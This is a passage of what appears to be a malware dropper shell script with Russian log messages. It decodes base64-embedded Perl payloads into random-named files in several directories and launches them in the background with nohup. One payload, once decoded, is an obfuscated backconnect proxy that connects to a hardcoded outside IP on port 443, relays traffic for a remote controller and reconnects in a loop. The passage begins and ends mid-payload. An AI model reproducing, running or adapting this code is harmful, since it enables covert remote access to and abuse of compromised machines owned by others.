LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #10 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #10 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 11 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk 